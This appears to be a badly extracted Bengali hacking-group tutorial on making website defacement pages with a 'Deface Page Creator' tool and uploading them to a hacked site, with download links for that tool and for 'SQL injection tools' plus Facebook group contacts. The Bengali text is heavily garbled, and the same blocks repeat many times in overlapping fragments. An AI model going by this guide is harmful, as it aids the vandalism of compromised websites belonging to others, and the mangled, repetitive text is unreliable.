এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
top related